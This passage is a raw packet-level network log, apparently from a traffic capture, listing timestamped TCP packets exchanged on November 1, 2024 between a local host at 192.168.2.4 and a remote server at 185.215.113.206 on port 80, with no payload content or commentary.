Nov 1, 2024 03:45:12.483963966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.483969927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.483974934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.483982086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.484040976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.484040976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.484633923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.484644890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.484658003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.484668970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.484679937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.484719992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.485203981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.485213041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.485251904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.485445976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.485456944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.485466003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.485476971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.485486984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.485507011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.485517025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.485534906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.486354113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486366034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486375093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486386061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486394882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486401081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.486407042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486418009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486428976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486435890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.486442089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.486449957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.486469984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.486495972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.487272024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487282991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487293005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487304926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487318993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.487323046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487350941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.487382889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.487895012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487909079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487921000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487931013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487941027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487946987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.487952948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.487976074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.488006115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.567226887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.567296028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.567341089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.567357063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.567393064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.567405939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.601217031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.601274014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.601279974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.601288080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.601310968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.601329088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.601427078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.601479053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.604115009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604161024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.604186058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604198933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604231119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.604343891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604391098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.604401112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604444981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.604579926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604593992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604607105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604624033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.604667902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.604955912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604967117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.604998112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.605012894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.605165005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.605179071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.605207920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.605222940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.605494022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.605506897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.605520010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.605532885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.605542898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.605547905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.605572939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.605591059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.606194019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606209040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606251955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.606302977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.606437922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606452942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606466055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606492043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.606518984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.606846094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606859922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606874943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606888056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606892109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.606904984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.606914997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.606955051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.607714891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.607728958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.607742071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.607757092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.607764959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.607769966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.607783079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.607786894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.607801914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.607824087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.607836008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.608464956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.608479023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.608491898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.608505011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.608511925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.608520031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.608522892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.608541965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.608544111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.608556986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.608578920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.608603954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.609406948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609421968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609433889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609455109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609463930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.609468937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609483004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609491110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.609499931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609507084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.609513998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.609536886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.609565973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.610196114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.610210896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.610223055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.610243082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.610255957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.610274076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.689193964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.689234018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.689249992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.689273119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.689299107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.723023891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.723076105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.723086119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.723090887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.723115921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.723145008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.725805998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.725857973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.725909948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.725930929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.725982904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.726089954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.726140022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.726257086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.726269960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.726298094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.726311922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.726496935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.726511955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.726524115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.726537943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.726547956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.726583958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.727036953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727051020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727063894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727082014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727101088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.727112055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.727139950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.727627039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727638960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727653027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727667093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727673054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.727680922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727695942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.727700949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.727724075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.727740049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.728359938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.728374004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.728387117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.728400946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.728415012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.728420973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.728430033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.728441954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.728476048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.729233027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.729247093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.729259968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.729274035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.729285955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.729290009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.729301929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.729324102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.729340076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730110884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730127096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730140924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730154991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730161905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730170012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730187893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730190992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730205059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730216026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730247021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730829000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730844021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730856895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730871916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730885983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730891943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730901003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730916977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730923891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730931044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.730940104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730968952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.730993032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.731822968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731837988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731853008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731868029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731878042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.731883049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731898069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731908083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.731911898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731928110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731930971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.731945038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.731969118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.731997013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.811038017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.811079979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.811094046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.811115980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.811212063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.811212063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.811212063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.811225891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.846445084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.846525908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.846543074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.846546888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.846698046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.848015070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848031044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848047018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848072052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.848093033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.848242044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848258018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848295927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.848495007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848510027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848546982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.848961115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848975897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.848989010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849001884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849011898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.849015951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849037886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.849071026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.849554062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849566936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849607944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.849911928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849925995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849946022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849960089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849968910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.849973917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.849992037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.850017071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.850689888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.850704908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.850717068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.850730896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.850739956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.850744009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.850759983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.850768089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.850799084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.851557970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.851573944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.851587057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.851599932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.851608992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.851612091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.851623058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.851670980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.852412939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.852428913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.852441072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.852453947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.852466106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.852468014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.852482080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.852489948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.852498055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.852514982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.852545023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.853293896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.853307962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.853319883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.853333950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.853342056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.853347063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.853374004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.853389978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:12.854090929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854104996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:12.854118109 CET	80	49730	185.215.113.206	192.168.2.4
